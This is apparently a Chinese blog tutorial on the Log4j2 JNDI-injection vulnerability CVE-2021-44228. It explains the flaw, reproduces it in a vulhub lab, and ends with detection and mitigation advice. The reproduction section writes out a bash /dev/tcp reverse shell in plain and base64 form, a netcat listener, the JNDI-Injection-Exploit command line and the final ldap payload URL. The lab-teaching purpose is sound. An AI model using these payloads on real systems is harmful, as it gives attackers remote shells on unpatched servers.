_副本-jsgb.png)
Java反序列化漏洞 | log4j2远程代码执行漏洞原理+漏洞复现
漏洞原理及简介
一、log4j2简介
log4j2是apache下的java应用常见的开源日志库,是一个就Java的日志记录工具。在log4j框架的基础上进行了改进,并引入了丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。
二、JNDI简介
JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。JNDI 提供统一的客户端 API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。
上面较官方说法,通俗的说就是若程序定义了 JDNI 中的接口,则就可以通过该接口 API 访问系统的 命令服务
和目录服务
,如下图:
三、log4j2远程代码执行漏洞原理
CVE漏洞编号:CVE-2021-44228
受影响版本:Apache Log4j 2.x <= 2.14.1
原理:
log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制,就有可能让查询指向任何服务(可能是攻击者部署好的恶意代码)。
攻击者可以利用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的.class对象,造成了远程代码执行(可反弹shell到指定服务器)。
图解如下:
0x3 漏洞复现
一、环境搭建
靶机:Ubantu IP 192.168.103.161 (先要安装docker,然后下载vulhub) 启动vulhub里面的log4j环境
攻击机:kali IP 192.168.103.129
我们先进入/vulhub/log4j/CVE-2021-44228目录下,然后利用docker启动靶机环境
docker-compose up -d
查看靶机的端口情况,发现靶机的端口为8983
docker ps
访问我们的ubantu靶机的vulhub地址:192.168.103.162:8983/
二、利用DNS漏洞检测
用dnslog平台检测dns回显,看看有没有漏洞存在,网址为:DNSLog Platform
点击Get SubDomin获取一个子域名,我这里是ozuyfo.dnslog.cn
找到JNDI的注入点在/solr/admin/cores?action=${jndi:ldap://ozuyfo.dnslog.cn}其中ozuyfo.dnslog.cn是DNSlog的地址,用来检测是否有log4j漏洞的。
点击Refresh Record刷新平台,然后就会看到下面的回显,说明存在log4j漏洞
三、利用JNDI工具反弹shell
我们直接利用JNDI注入工具进行反弹shell的复现操作
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具下载地址:
https://github.com/bkfish/Apache-Log4j-Learning/tree/main
反弹shell的命令:
bash -i >& /dev/tcp/192.168.103.129/1234 0>&1
这个反弹shell的命令在执行之前必须要base64编码一下,
Runtime.exec Payload Generater | AresX's Blog (ares-x.com)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMy4xMjkvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}
应用工具JNDI-Injection-Exploit搭建服务:格式:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "命令" -A "kali IP地址"
步骤如下
1、我们先在kali进行监听1234端口
┌──(root💀kali)-[~]└─# nc -lvnp 1234
2、执行EXP,生成可用的payload(这里建议在kali里面执行这个命令,因为我开始用windows本地没有反弹shell成功) 编码后的命令通过-C参数输入JNDI工具,通过通过-A参数指定kali的ip地址:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMy4xMjkvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.103.129"
可以看到,这里已经一键部署好了RMI和LDAP服务的站点,并给出了路径,其中JDK1.7和JDK1.8的都可以,并且rmi和ldap两个协议都可以进行JNDI注入测试,但是如果你了解了这个漏洞修复的时间以及版本,就会知道ldap的版本使用范围更具广,这就是为什么大多数人会用ldap测试的原因。
3、 最后一步就是构造payload了,由于是GET方式,浏览器访问以下任意一个url即可:
我这里就使用ldap协议进行演示反弹shell了,payload如下:
http://192.168.103.161:8983/solr/admin/cores?action=${jndi:ldap://192.168.103.129:1389/a1syrh}
可以看到我们的反弹shell执行成功了,
总结
如何排查log4j2漏洞?
检查日志中是否存在"jndi:ldap://"、"jndi:rmi//"
等字符来发现可能的攻击行为,前面复现的过程在payload的构造中都出现了这样的字符串,这是攻击的典型标志。
其中像现在的话很多人不会直接利用rmi和ldap服务去检测攻击你的服务器,而是直接调用外面开始利用DNSlog检测,因为利用rmi和ldap会直接暴露自己的服务器的IP地址,所以对于"dns://"
也要进行检测判断是否是攻击行为
如何对log4j2的攻击进行防御?
1.设置log4j2.formatMsgNoLookups=True
。相当于直接禁止lookup查询出栈,也就不可能请求到访问到远程的恶意站点。
2.对包含有"jndi:ldap://"、"jndi:rmi//"、"dns://"
这样字符串的请求进行拦截,即拦截JNDI语句来防止JNDI注入。
3.对系统进行合理配置,禁止不必要的业务访问外网,配置网络防火墙,禁止系统主动外连网络等等。
4.升级log4j2组件到新的安全的版本。
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。